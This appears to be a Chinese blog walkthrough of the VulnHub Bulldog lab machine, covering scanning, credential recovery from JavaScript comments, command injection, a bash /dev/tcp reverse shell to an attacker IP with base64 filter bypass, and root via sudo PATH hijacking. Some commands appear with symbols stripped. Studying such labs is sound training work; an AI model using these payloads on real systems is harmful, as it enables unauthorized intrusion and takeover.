尧图精选

VulnHub靶机Bulldog完整渗透实战:从信息收集到Root提权

🕒 发布时间:2026/10/1 23:16:12 📁 来源:尧图网络
靶机渗透这个圈子玩到一定阶段都会有个感觉光是看writeup、刷题库不如老老实实拿一个靶机从信息收集打到提权整个链路走一遍比什么都长记性。最近我重新把VulnHub上的Bulldog拖出来打了一遍这靶机难度不算高但设计得非常用心几个关键点卡得恰到好处非常适合用来练手。这里把完整的渗透过程、踩坑记录、以及我在实战中总结的一些经验心得整理出来。无论你是刚入门准备打VulnHub的新手还是已经在刷OSCP、需要巩固基础和梳理思路的老手这篇内容都值得看看。整台机器走下来我的直观感受是Bulldog的考查重点非常明确——信息收集的细致程度、对Web应用代码审计的敏感度以及拿到低权限shell之后如何利用系统配置缺陷完成提权。整个过程基本覆盖了靶机渗透的完整套路而且中间有几个点如果不仔细看很容易卡住但一旦想通了就会觉得设计得非常巧妙。1. 靶机准备与信息收集打靶机不是开机就扫描就完事前期准备工作做得越细后面越不容易被环境问题干扰。这一节先说环境搭建再说信息收集的思路和实际操作。1.1 环境搭建与启动Bulldog是VulnHub上一个基于Ubuntu的镜像下载下来是一个ova或者zip格式的虚拟机镜像。常见的做法是直接用VirtualBox导入。因为我平时习惯用VMware所以我的做法是把ova转成vmx或者直接在VirtualBox里跑也是一个完全可行的选择两个平台我都实测过只要网络模式选对流程上没有本质差别。网络配置这里是个重点。靶机渗透要求的核心是“能连通、能扫描、能反弹shell”所以靶机和攻击机的网络必须在同一个二层网络内。我用的方案是两块网卡都设为“仅主机模式Host-Only”保证攻击机和靶机之间无干扰互通后期反弹Shell时也不会因为NAT地址转换产生额外干扰。注意如果你是在公司电脑上练习务必先确认好网络环境是否允许使用虚拟化软件并遵守所在组织的安全管理制度。所有内容都是基于本地虚拟化靶机环境进行的合法安全学习不要对非授权目标做任何操作。启动之后先给靶机网络做一个快速探测。由于是动态获取IPDHCP如果不借助工具就需要登录到靶机后台查看IP。但这是靶机渗透我们不能预知凭据更不可能登录后去查IP所以用扫描器去探测存活主机是最常规、也最稳妥的做法。我用的是nmap的snap扫描。nmap -sn 192.168.56.0/24这里192.168.56.0/24是我Host-Only网卡的网段实际以你自己的为准。扫描结果里会出现至少两台主机一个是攻击机本机另一个就是靶机。如果你用的是VirtualBox网段默认通常是192.168.56.0/24如果你用的是VMwareHost-Only网段可能不一样可以用ipconfigWindows或ip addrLinux先确认自己的网卡地址再决定扫描网段。这里也是很多新手卡住的地方老是扫不到靶机一半的原因都是网段写错了。1.2 存活探测与端口扫描拿到靶机IP之后接下来就是对端口和服务进行详细的扫描。这一步的信息收集质量直接决定了后续攻击路径的选择。我惯用的扫描命令如下nmap -sC -sV -p- -T4 -oN bulldog_full.txt 192.168.56.x参数解释一下-sC加载默认脚本做服务指纹识别和常见漏洞探测-sV获取服务版本号-p-全端口扫描不放过1~65535之间的任何端口避免默认端口遮挡了非标准服务-T4提升扫描速度本地网络环境这个速度很稳-oN把结果存到文件里方便随时翻查同时也方便后期写报告或者复盘。从Bulldog的常规扫描结果来看目标只开了两个Web服务端口具体端口号以你实际下载的版本为准。这种看似“干净”的端口情况其实传递了一个信号——这台机器的主要攻击面就在Web服务上后面不需要考虑太多复杂的内网横向问题集中精力啃Web就好。提示如果nmap扫描速度很慢可以先做一次SYN半开扫描-sS快速摸底再对开放端口做版本探测。省下来的时间用来分析Web应用收益会高得多。强烈建议养成“边扫描边记录”的习惯。把端口、服务、版本、页面指纹分条记在笔记里后面写writeup或者复盘时能省大量时间。用CherryTree、Obsidian、Notion都行关键是坚持记录。2. Web端突破从目录扫描到后台登录端口扫描结果出来了目光就聚焦到Web服务上。接下来要做的不是急着点开页面而是先做指纹识别搞清楚这个服务的框架、中间件和可能的开发语言然后再去做目录扫描和源代码分析。2.1 服务分析与指纹识别先打开浏览器访问目标站点首页。这一步不要只看页面漂不漂亮要重点关注几个信息响应头里的Server字段页面源码中的注释、框架标识、generator标签是否有明显的CMS痕迹如WordPress、Drupal是否有跳转到某个登录页或应用管理页。用curl配合head命令是快速查看响应头的办法比起浏览器更直接不会加载无关资源。curl -I http://192.168.56.x如果首页是静态页面什么值得利用的信息都没有那就需要看后台服务。我这次打开首页时页面本身确实没有太多信息但通过扫描目录很快发现了后台登录入口。目录扫描我用的是gobuster字典选了/usr/share/wordlists/dirb/common.txt这个字典在Kali里自带速度很快覆盖面对本靶机来说足够。gobuster dir -u http://192.168.56.x -w /usr/share/wordlists/dirb/common.txt -x php,html,txt -t 50目录扫描的结果会暴露后台路径和部分资源目录。实际动手时可以多用几个字典交叉扫比如directory-list-2.3-medium.txt覆盖率更高。不过扫描时间会相应增加节奏自己把握。值得多说一句的是目录扫描不是扫一遍就完事得到了路径后应该顺手对已经发现的页面再递归扫描一次很多靶机的敏感文件都藏在二级、三级目录下。Bulldog的这个后台路径并不算隐蔽但如果你只扫根目录不做递归还是可能漏掉后续关键的源码文件。2.2 后台鉴权绕过实战定位到后台登录页面之后第一反应是尝试弱口令。但需要注意弱口令测试不是毫无章法地瞎试。我习惯先简单尝试几组最常见的弱口令比如admin/admin、admin/password如果没有效果就果断转向源码分析。在真实的授权测试里频繁的登录尝试还会触发锁定或告警机制所以绝不能死磕爆破。在Bulldog这个靶机上关键信息藏在后台对应的前端JavaScript文件里。查看网页源码时我习惯先看引用了哪些JS文件然后逐个把JS文件下载下来仔细看尤其是登录验证逻辑、表单提交逻辑这些部分。这类文件在前端源码分析里价值极高常常藏着注释、测试接口、调试开关甚至直接是硬编码的凭据。果不其然在某个JS文件的代码注释里我发现了一段与登录校验相关的调试信息里面提到了一个用户名以及经过某种编码处理后的密码。这个设计很像真实开发环境中程序员留下的后门或调试入口正好给了渗透测试人员一个利用点。根据注释给出的线索把那段编码内容复制下来用常见编码方式做解码很快就还原出了凭据。用这组账号密码登录后台这条利用路径就算走通了。注意这段只是描述常规Web测试中的源码分析技巧。靶机练习环境的设计本身就是用来发现这类“意料之中”的漏洞的但在真实授权测试中一旦找到硬编码凭据或注释信息要第一时间做好记录并在报告中明确指出其风险而不仅仅是“能用就用”。登录后台之后整个Web端的攻击面会豁然开朗。Bulldog的设计在这里进入了一个核心环节也是我后面会展开讲的命令执行点。这一步让我再次确认了一个经验渗透测试中对源码和注释的敏感度永远比乱扫乱试更有价值。3. Getshell与权限提升完整提权链路拆解拿到后台权限只是第一步。靶机渗透的核心目标通常是拿到目标主机的最高权限也就是root用户的shell。这一路要从命令执行漏洞入手反弹一个稳定的shell回来然后通过提权拿到root。整个过程需要稳、准、细致。3.1 命令执行与反弹Shell登录后台后我一般都会先看这个后台能做什么。尤其要关注有没有提供“输入命令”“执行操作”“修改配置”等功能的模块。很多自研后台会内嵌一个“系统管理”或“调试工具”页面表面上是为了运维方便实际上是命令注入的高发区。Bulldog这个后台就存在一个可执行命令的功能界面比较简单但功能很直接。要做的是不直接用它来执行我们希望看到的命令而是要构造一个反弹Shell。因为Web端执行命令时受限于Web服务的运行权限和网络环境往往拿不到一个交互式终端反弹Shell能帮我们回到自己的攻击机上。攻击机上先准备好监听nc -lvnp 4444然后在后台命令执行框里测试基本命令比如id、whoami确认命令是通的再尝试反弹Shell。反弹Shell的payload要适配目标环境这里我用的是bash的经典写法bash -i /dev/tcp/192.168.56.x/4444 01注意到一个细节这个后台对命令执行是有一定过滤的包括空格和部分特殊字符的限制。直接粘贴上面的命令可能被执行不成功。这时候需要编码绕过把同一段命令用base64编码后再执行echo cmKg... | base64 -d | bash这种手法在真实攻防里也很常见。先编码再解码执行能把很多敏感字符避开过滤规则的拦截。需要注意的是编码后的字符串要保证完整无误一个小失误就可能导致反弹失败。等监听端看到shell连接进来第一件事就是升级shell、稳定终端python3 -c import pty;pty.spawn(/bin/bash)然后按住CtrlZ让shell挂起回到本地终端执行stty raw -echo; fg接着设置终端环境变量export TERMxterm这一步做完就能获得一个带Tab补全和历史记录的完整交互式shell后续操作会顺手很多。很多新手拿到shell后直接开始翻文件没有升级终端等到需要交互式编辑器或sudo密码回显时就各种别扭这些小技巧早做早享受。3.2 Sudo配置利用与Root权限获取拿到低权限shell之后提权前的系统信息收集特别重要。这里有一条铁律先看sudo权限再看可写文件、计划任务、内核版本、SUID程序。sudo -l执行结果发现当前用户具备以root身份执行某个自定义二进制的权限而且不需要密码。这种sudo配置错位在配置不当的Linux主机上经常出现很多管理员喜欢给运维人员开放个别命令的sudo权限却没意识到那条命令本身可能被利用。我先简单看下这个命令的帮助和功能发现它本质上是调用其他系统命令的一个外壳程序底层执行的是类似cat、head这样的文件读取命令。这就给了操作空间。由于当前用户可以以root执行它而它内部又可以去读取文件那我们就可以想办法让它读取到root用户的私密文件比如/etc/shadow、root目录下的flag。更通用的一种思路是利用PATH环境变量劫持。如果该二进制内部没有使用绝对路径调用命令而是直接写命令名比如cat、ls那我们就可以造一个同名恶意脚本放到当前用户有写权限的目录下再把该目录放到PATH最前面。当这个sudo程序被触发时系统会在PATH中寻找命令首先找到我们伪造的脚本于是就能以root身份执行任意命令。我在当前用户的home目录下建立了一个伪造的cat脚本内容是把/bin/sh复制或直接调用/bin/shecho /bin/sh cat chmod x cat export PATH/home/bulldog:$PATH接着再以sudo方式运行目标二进制成功拿到root shell。整个过程完全没有密码参与只是利用了sudo配置和PATH搜索顺序的弱点。拿到root之后直接到/root目录下读取最终的flag文件。到这里整台机器的渗透链路就全部打通从无到有实现了权限的最大化。4. 复盘攻击链总结与实战经验教训打靶机不只是为了拿到flag更关键的是要复盘整个攻击链理解每个漏洞点之间的关系。Burden靶机上看似几个独立的“巧合”其实是一条完整的利用链路。4.1 整条攻击链的关系梳理Bulldog的攻击链可以归纳成下面这几环第一环nmap发现Web服务目录扫描发现后台登录页第二环后台登录页前端JS注释泄露硬编码凭据完成鉴权绕过第三环后台命令执行功能存在过滤缺陷利用base64编码绕过并反弹Shell第四环低权限用户具备sudo执行自定义二进制的权限且该二进制存在PATH劫持风险最终提权至root。环环相扣缺了任何一环都走不到最后。这就是靶机渗透的乐趣也是在真实测试中最需要的横向串联能力。单看某个漏洞可能危害有限但当它们串成一条链时就能从外部一路打穿到最高权限。复盘时建议画一张简陋的攻击路径图不需要什么花哨工具就是手写几个箭头把每步的关键命令和漏洞类型标注出来。这个习惯能帮你建立起“从攻击面到利用点”的全局观。4.2 值得记住的细节和笔记这次打Bulldog有几个细节我印象特别深也踩了坑值得写在这里分享给大家。一定要养成给命令注入点做“编码绕过的备选方案”习惯。很多Web应用不会完全不过滤而是过滤一部分特殊字符比如空格、尖括号、管道符等。你不用出每一种payload但脑子里要有几种常用绕过方式的清单比如${IFS}替代空格、base64编码、十六进制编码、Tab键替代空格等。别说靶机了真实环境里这些招数同样用得着。shell升级这件事看上去不起眼实际操作体验差距非常大。一开始我没有升级shell就感觉命令用起来特别别扭没有Tab补全vim也没法正常操作还经常出现界面卡顿。升级完之后效率至少翻了一倍。新手第一次操作时要注意stty raw -echo; fg执行完以后可能看不到输入回显这是正常的按一下回车再敲reset就能恢复。还有一点命令执行时用root权限读取flag后建议把关键痕迹做个留存。我在root目录下把flag内容复制到笔记里同时把整个过程中使用过的命令、修改过的文件记录好。严谨的渗透测试流程最后会有报告阶段这些记录越细致报告越好写。5. 常见问题与排查技巧实录打靶机过程中不少问题其实非常典型而且容易卡住人。这里整理一个速查表和几个特别值得说的经验方便以后再踩坑时直接对号入座。5.1 问题速查表问题现象可能原因解决方法扫描不到靶机IP网段写错或网卡模式不对先用ip addr/ipconfig确认本机Host-Only网段再调整nmap扫描区间访问Web页面显示连接拒绝主动扫描时遗漏了非标准端口使用-p-全端口扫描不要只扫默认端口列表登录后台时页面提示错误凭据解码方式不对或存在转义字符对比完整注释尝试base64、hex、URL解码等不同编码方式反弹Shell执行后无反应命令被空格/特殊字符过滤监听端口不一致尝试base64编码执行确认攻击机监听端口和命令中的端口一致sudo -l显示无法查看当前用户不在sudo组或密码未配置先检查当前用户权限尝试find / -perm -4000 -type f 2/dev/null寻找SUID程序作为备选提权路径拿到shell后翻不了root目录权限不足尚未提权加固提权步骤优先做sudo枚举再考虑SUID、计划任务等其他路径键盘方向键乱码未升级为交互式shell执行python pty升级脚本配合stty命令完成终端恢复这张表里的很多问题其实是相通一个根源——命令执行之前的环境确认没做好。环境不对后面全是白干。5.2 几点实操心得第一要敢于看源代码。很多人打靶机的时候页面翻来翻去只看UI却不看源码。实际上对于自研Web应用源码和注释往往是最容易出线索的地方。Bulldog的整个突破口就在JS注释里这种设计其实也模仿了真实开发中常见的疏漏。所以每次遇到登录框先别急着暴力破解把前端JS文件、页面源码、响应头里夹带的注释都翻一翻往往收获更大。第二命令执行的结果与Web界面的展示不一定同步。有时候后端会把输出截断或者写到日志里所以命令执行后不要只盯着页面上显示的输出如果页面空白不妨换个方式比如让命令把结果输出到Web目录下的一个文件然后直接访问那个文件。我这次在测试命令是否能通时就因为页面输出被截断而多花了一点时间后来改成id /var/www/html/out.txt再访问才确认命令确实执行成功。第三提权时不要只盯着sudo。很多时候sudo -l结果里什么都没有这时候就要把思路打开看看有没有SUID位程序、可写的计划任务、不安全的NFS配置、内核版本漏洞等。靶机和真实环境里提权路径并不只有一条提前多掌握几种思路现场才不会慌。就比如Bulldog这台机器如果你一开始就卡在sudo那条线上没进展转去看SUID文件会发现另一条可以利用的路径殊途同归都可以到root。根据我个人经验打靶机最忌讳的是“一条路走到黑”死磕某个点不放手。合理的策略是每隔一段时间就回到信息收集阶段重新翻一遍端口、目录、源码往往能发现之前漏掉的东西。Bulldog这个靶机难就难在那些小细节上但只要保持耐心把信息摸清楚每一步都看似偶然实则必然。如果你把Bulldog打通了想再趁热打铁练练手同系列的DC靶机也是不错的选择比如DC6这类机器里面加入了更多CMS层面的漏洞利用和提权思路正好能帮你把Web渗透的武器库再扩充一圈。每一次打靶都不只是提交一个flag而是把攻击思路从“脚本小子”往“真正的渗透测试者”方向推进一步。
上一篇/下一篇内容由系统自动关联 返回资讯列表 →